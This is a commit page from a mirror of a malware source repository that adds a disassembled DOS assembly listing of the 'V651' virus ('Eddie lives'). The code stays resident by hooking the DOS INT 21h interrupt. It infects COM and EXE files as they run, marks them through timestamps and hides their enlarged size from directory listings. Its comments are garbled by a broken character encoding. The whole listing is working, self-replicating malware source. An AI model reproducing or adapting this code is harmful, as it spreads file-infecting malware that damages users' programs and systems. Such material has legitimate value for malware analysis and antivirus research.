mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,395 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ V651 ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 17-Jan-80 ÛÛ
|
||||
;ÛÛ Version: ÛÛ
|
||||
;ÛÛ Passes: 9 Analysis Options on: ABCEFPX ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 84h ; (6FC2:0084=0)
|
||||
data_2e equ 86h ; (6FC2:0086=0)
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
v651 proc far
|
||||
|
||||
start:
|
||||
jmp loc_2 ; (09EB)
|
||||
db 377 dup (0)
|
||||
data_4 dw 0 ; Data table (indexed access)
|
||||
data_5 dw 0 ; Data table (indexed access)
|
||||
data_6 dw offset loc_1, seg loc_1 ;*Data table (indexed access)
|
||||
data_8 dw 0 ; Data table (indexed access)
|
||||
data_9 dw 0 ; Data table (indexed access)
|
||||
data_10 dw 0 ; Data table (indexed access)
|
||||
db 0 ; Data table (indexed access)
|
||||
db 0
|
||||
data_13 dw 0
|
||||
db 0, 0
|
||||
data_14 dw 0
|
||||
data_15 dw 0
|
||||
data_16 dw 0
|
||||
data_17 dd 00000h
|
||||
db 0, 0
|
||||
data_19 dd 00000h
|
||||
data_21 dw 0
|
||||
data_22 dw 0
|
||||
db 1863 dup (0)
|
||||
loc_2:
|
||||
call sub_1 ; (09EE)
|
||||
|
||||
v651 endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
pop bx
|
||||
sub bx,3 ; bx - · «¥ ¤°¥±
|
||||
push ax
|
||||
sub ax,ax
|
||||
mov es,ax ; ES:=0
|
||||
mov ax,es:[84h] ; ‚§¥¬ INT 21h ¢¥ª²®°
|
||||
mov cs:[bx+027Ch],ax ; ‡ ¯ §¢ offs INT 13h
|
||||
mov ax,es:[86h] ; ‚§¥¬ seg INT 13h
|
||||
mov cs:[bx+027Eh],ax ; ‡ ¯ §¢ seg INT 13h
|
||||
mov ax,0A55Ah
|
||||
int 21h ; �°®¢¥°¿¢ § °¥§¨¤¥²¥ ¢¨°³±
|
||||
cmp ax,5AA5h
|
||||
je loc_3 ; €ª® ¥ °¥§¨¤¥²¥. ˆ§µ®¤
|
||||
mov ax,sp
|
||||
inc ax
|
||||
mov cl,4
|
||||
shr ax,cl ; Shift w/zeros fill
|
||||
inc ax
|
||||
mov cx,ss
|
||||
add ax,cx
|
||||
mov cx,ds
|
||||
dec cx ; � ¬¨° ª° ¿² ¯°®£° ¬ ²
|
||||
mov es,cx
|
||||
mov di,2
|
||||
mov dx,2Bh
|
||||
mov cx,[di] ; ‚ CX ±¥ § ¯¨±¢ ° §¬¥° ¯ ¬¥²²
|
||||
sub cx,dx ; ˆ§¢ ¦¤ ®² CX , DX
|
||||
cmp cx,ax ; �°®¢¥°¿¢ ¤ «¨ ¨¬ ¬¿±²® § ¢¨°³±
|
||||
jb loc_3 ; €ª® ¿¬ ¨§«¨§
|
||||
sub es:[di+1],dx ; ˆ§¢ ¦¤ ¤º«¦¨ ² ¢¨°³± ®² ²¥ª³¹¨¿ ¡«®ª
|
||||
mov [di],cx ; ‡ ¯¨±¢ ®¢¨¿² ° §¬¥° ¯ ¬¥²²
|
||||
mov es,cx
|
||||
mov si,bx
|
||||
sub di,di
|
||||
mov cx,140h
|
||||
cld ; �°¥¬¥±²¢ ª®¤ ¢ £®° ² · ±²
|
||||
rep movs word ptr es:[di],word ptr cs:[si]
|
||||
mov ax,es ; AX:=ES
|
||||
mov es,cx ; ES:=0
|
||||
cli
|
||||
mov word ptr es:[84],0A7h ; �°®¬¥¿ INT 21h
|
||||
mov es:[86],ax
|
||||
sti
|
||||
loc_3:
|
||||
push ds
|
||||
pop es
|
||||
mov ax,cs:[bx+0288h] ; ‡ °¥¦¤ ´«®£ § ²¨¯ ´ ¨«
|
||||
cmp ax,5A4Dh ; ” ¨« ¥ EXE ?
|
||||
je loc_4
|
||||
cmp ax,4D5Ah ; ” ¨« ¥ EXE ?
|
||||
je loc_4
|
||||
mov di,100h ; ‚ ¯°®²¨¢¥ ±«³· © ´ ¨« ¥ COM
|
||||
mov [di],ax
|
||||
mov al,byte ptr [bx+28Ah] ; ‚º§±² ®¢¿¢ ¯º°¢¨²¥ 3 ¡ ©²
|
||||
mov [di+2],al
|
||||
pop ax
|
||||
push di
|
||||
retn ; ‚°º¹ ³¯° ¢«¥¨¥²® ¯°£° ¬ ²
|
||||
loc_4:
|
||||
pop ax
|
||||
mov dx,ds
|
||||
add dx,10h ; �°¨¡ ¢¿ ªº¬ ±² °²®¢¨¿ ¤°¥±
|
||||
add word ptr cs:[bx+0282h],dx ; ²¥ª³¹¨¿ ±¥£¬¥²
|
||||
add dx,cs:[bx+0286h] ; �°¨¡ ¢¿ ªº¬ ²¥ª³¹¨¿ ±¥£¬¥²
|
||||
mov ss,dx ; ®²¬¥±²¢ ¥²® SS
|
||||
mov sp,cs:[bx+0284h] ; ‚º§±² ®¢¿¢ SP
|
||||
jmp dword ptr cs:[bx+0280h] ; �°¥µ®¤ ªº¬ ¢µ®¤ ² ²®·ª ´ ¨«
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
sti ; ‚µ®¤ ²®·ª INT 21h
|
||||
cmp ax,4B00h ; Exec read & exec
|
||||
je loc_10
|
||||
cmp ah,11h ; FindFirst FCB
|
||||
je loc_5
|
||||
cmp ah,12h ; FindNext FCB
|
||||
je loc_5
|
||||
cmp ax,0A55Ah
|
||||
je loc_9 ; Jump if equal
|
||||
jmp loc_28 ; (0C44)
|
||||
loc_5:
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_4 ; (6FC2:027C=0)
|
||||
test al,al ; �°®¢¥°¿¢ ¤ «¨ ¥ ¬¥°¥ ´ ¨«
|
||||
jnz loc_ret_8 ; €ª® ¥ ˆ‡•Ž„!
|
||||
push ax
|
||||
push bx ; ‡ ¯ §¢ AX,BX,ES
|
||||
push es
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2Fh ; '/'
|
||||
int 21h ; DOS Services ah=function 2Fh
|
||||
; get DTA ptr into es:bx
|
||||
pop ax
|
||||
inc al
|
||||
jnz loc_6 ; Jump if not zero
|
||||
add bx,7
|
||||
loc_6:
|
||||
mov ax,es:[bx+17h]
|
||||
and al,1Fh ; �°®¢¥°¿¢ ¤ «¨ ¥ § ° §¥
|
||||
cmp al,1Fh
|
||||
jne loc_7
|
||||
and byte ptr es:[bx+17h],0E0h
|
||||
sub word ptr es:[bx+1Dh],28Bh ; Š®°¨£¨° ¤º«¦¨ ²
|
||||
sbb word ptr es:[bx+1Fh],0
|
||||
loc_7:
|
||||
pop es
|
||||
pop bx ; ‚º§±² ®¢¿¢ °¥£¨±²°¨²¥
|
||||
pop ax
|
||||
|
||||
loc_ret_8:
|
||||
iret ; Interrupt return
|
||||
loc_9:
|
||||
not ax ; ’®¢ ¥ ´³ª¶¨¿ A55A
|
||||
iret ; Interrupt return
|
||||
loc_10:
|
||||
push ds
|
||||
push es
|
||||
push ax ; ‚§¥¬ INT 24h
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
mov ax,3524h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
push es
|
||||
push bx
|
||||
push ds
|
||||
push dx ; �°®¬¥¿ INT 24h
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,25Eh
|
||||
mov ax,2524h
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax,4300h ; ‚§¥¬ ²°¨¡³²¨²¥ ´ ¨«
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get/set file attrb, nam@ds:dx
|
||||
jnc loc_11 ; Jump if carry=0
|
||||
sub cx,cx
|
||||
jmp loc_26 ; ˆ§µ®¤
|
||||
loc_11:
|
||||
push cx
|
||||
test cl,1
|
||||
jz loc_12 ; �°®¢¥°¿¢ ¤ «¨ ¿¬ ¢ª«¾·¥ read-only
|
||||
dec cx
|
||||
mov ax,4301h ; �°®¬¥¿ ²°¨¡³²¨²¥ ´ ¨«
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get/set file attrb, nam@ds:dx
|
||||
loc_12:
|
||||
mov ax,3D02h ; ޲¢ °¿ ´ ¨«
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
jnc loc_13 ; Jump if carry=0
|
||||
jmp loc_25 ; (0C2A)
|
||||
loc_13:
|
||||
mov bx,ax
|
||||
mov ax,5700h ; ‚§¥¬ ¢°¥¬¥²® ´ ¨«
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get/set file date & time
|
||||
jc loc_14 ; Jump if carry Set
|
||||
mov al,cl
|
||||
or cl,1Fh ; �°®¢¥°¿¢ ´ ¨« § ° §¥ «¨ ¥
|
||||
cmp al,cl
|
||||
jne loc_15 ; Jump if not equal
|
||||
loc_14:
|
||||
jmp loc_24 ; (0C26)
|
||||
loc_15:
|
||||
push cx
|
||||
push dx
|
||||
mov dx,288h
|
||||
mov cx,18h
|
||||
mov ah,3Fh ; —¥²¥ ¯°¥´¨ª± EXE
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, cx=bytes, to ds:dx
|
||||
jc loc_16 ; Jump if carry Set
|
||||
sub cx,ax
|
||||
jnz loc_16 ; Jump if not zero
|
||||
les ax,data_17 ; ‡ ¯®¬¿ ®²¬¥±²¢ ¥²® SS ¨ SP
|
||||
mov data_8,es ; (6FC2:0284=0) => SS
|
||||
mov data_9,ax ; (6FC2:0286=0) => SP
|
||||
les ax,data_19 ; ‡ ¯®¬¿ ®²¬¥±²¢ ¥²® CS ¨ IP
|
||||
mov word ptr data_6,ax ; (6FC2:0280=0) => IP
|
||||
mov word ptr data_6+2,es ; (6FC2:0282=0) => CS
|
||||
mov dx,cx
|
||||
mov ax,4202h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
jc loc_16 ; Jump if carry Set
|
||||
mov data_21,ax ; (6FC2:02A0=0)
|
||||
mov data_22,dx ; (6FC2:02A2=0)
|
||||
mov cx,28Bh
|
||||
cmp ax,cx
|
||||
sbb dx,0
|
||||
jc loc_16 ; Jump if carry Set
|
||||
call sub_2 ; �°®¢¥°¿¢ ¤ «¨ ¥ EXE
|
||||
jz loc_17 ; Jump if zero
|
||||
cmp ax,0FB75h ; �°®¢¥°¿¢ ¤ «¨ ¥ ¢º§¬®¦® ¤ ±¥ § ¯¨¸¥
|
||||
jb loc_17 ; Jump if below
|
||||
loc_16:
|
||||
jmp loc_22 ; (0C1C)
|
||||
loc_17:
|
||||
sub dx,dx
|
||||
mov ah,40h ; ‡ ¯¨±¢ ¢¨°³± ¢ ª° ¿ ´ ¨«
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
jc loc_16 ; Jump if carry Set
|
||||
sub cx,ax
|
||||
jnz loc_16 ; Jump if not zero
|
||||
mov dx,cx
|
||||
mov ax,4200h ; �°¥¬¥±²¢ FP ¢ · «®²® ´ ¨«
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
jc loc_16 ; Jump if carry Set
|
||||
mov ax,data_21 ; (6FC2:02A0=0)
|
||||
call sub_2 ; �°®¢¥°¿¢ ¤ «¨ ¥ EXE
|
||||
jnz loc_20 ; Jump if not zero
|
||||
mov dx,data_22 ; (6FC2:02A2=0)
|
||||
mov cx,4
|
||||
mov si,data_14 ; (6FC2:0290=0)
|
||||
sub di,di
|
||||
|
||||
locloop_18:
|
||||
shl si,1 ; Shift w/zeros fill
|
||||
rcl di,1 ; Rotate thru carry
|
||||
loop locloop_18 ; Loop if cx > 0
|
||||
|
||||
sub ax,si
|
||||
sbb dx,di
|
||||
mov cl,0Ch
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov word ptr data_19,ax ; (6FC2:029C=0)
|
||||
mov word ptr data_19+2,dx ; (6FC2:029E=0)
|
||||
add dx,31h
|
||||
nop ; Š®°¨£¨° ¯°¥´¨ª±
|
||||
mov word ptr data_17+2,ax ; (6FC2:0298=0)
|
||||
mov word ptr data_17,dx ; (6FC2:0296=0)
|
||||
add data_15,9 ; (6FC2:0292=0)
|
||||
mov ax,data_15 ; (6FC2:0292=0)
|
||||
cmp ax,data_16 ; (6FC2:0294=0)
|
||||
jb loc_19 ; Jump if below
|
||||
mov data_16,ax ; (6FC2:0294=0)
|
||||
loc_19:
|
||||
mov ax,word ptr ds:[28Ah] ; (6FC2:028A=0)
|
||||
add ax,28Bh
|
||||
push ax
|
||||
and ah,1
|
||||
mov word ptr ds:[28Ah],ax ; (6FC2:028A=0)
|
||||
pop ax
|
||||
mov cl,9
|
||||
shr ax,cl ; Shift w/zeros fill
|
||||
add data_13,ax ; (6FC2:028C=0)
|
||||
jmp short loc_21 ; (0C0C)
|
||||
loc_20:
|
||||
sub ax,3
|
||||
mov byte ptr data_10,0E9h ; (6FC2:0288=0)
|
||||
mov word ptr data_10+1,ax ; (6FC2:0289=0)
|
||||
loc_21:
|
||||
mov dx,288h
|
||||
mov cx,18h
|
||||
mov ah,40h ; ‡ ¯¨±¢ ¯°¥´¨ª±
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
jc loc_22 ; Jump if carry Set
|
||||
cmp ax,cx
|
||||
je loc_23 ; Jump if equal
|
||||
loc_22:
|
||||
stc ; Set carry flag
|
||||
loc_23:
|
||||
pop dx
|
||||
pop cx
|
||||
jc loc_24 ; ‚º§±² ®¢¿¢ ¢°¥¬¥²®
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get/set file date & time
|
||||
loc_24:
|
||||
mov ah,3Eh ; ‡ ²¢ °¿ ´ ¨«
|
||||
int 21h
|
||||
loc_25:
|
||||
pop cx
|
||||
loc_26:
|
||||
test cl,1
|
||||
jz loc_27 ; Jump if zero
|
||||
mov ax,4301h ; ‚º§±² ®¢¿¢ ²°¨¡³²¨²¥
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get/set file attrb, nam@ds:dx
|
||||
loc_27:
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax,2524h
|
||||
int 21h ; ‚º§±² ®¢¿¢ INT 24h
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx ; ‚º§±² ®¢¿¢ °¥£¨±²°¨²¥
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
loc_28:
|
||||
jmp dword ptr cs:data_4 ; (6FC2:027C=0)
|
||||
mov al,3
|
||||
iret ; Interrupt return
|
||||
sub_1 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near ; �°®¢¥°¿¢ ¤ «¨ ´ ©« ¥ EXE
|
||||
mov si,data_10 ; (6FC2:0288=0)
|
||||
cmp si,5A4Dh
|
||||
je loc_ret_29 ; Jump if equal
|
||||
cmp si,4D5Ah
|
||||
|
||||
loc_ret_29:
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
db 'Eddie lives'
|
||||
otmestwania db 0, 60h, 14h, 8Eh, 2, 0
|
||||
db 7 dup (0)
|
||||
First_inst: db 0CDh, 20h, 0
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
|
||||
Reference in New Issue
Block a user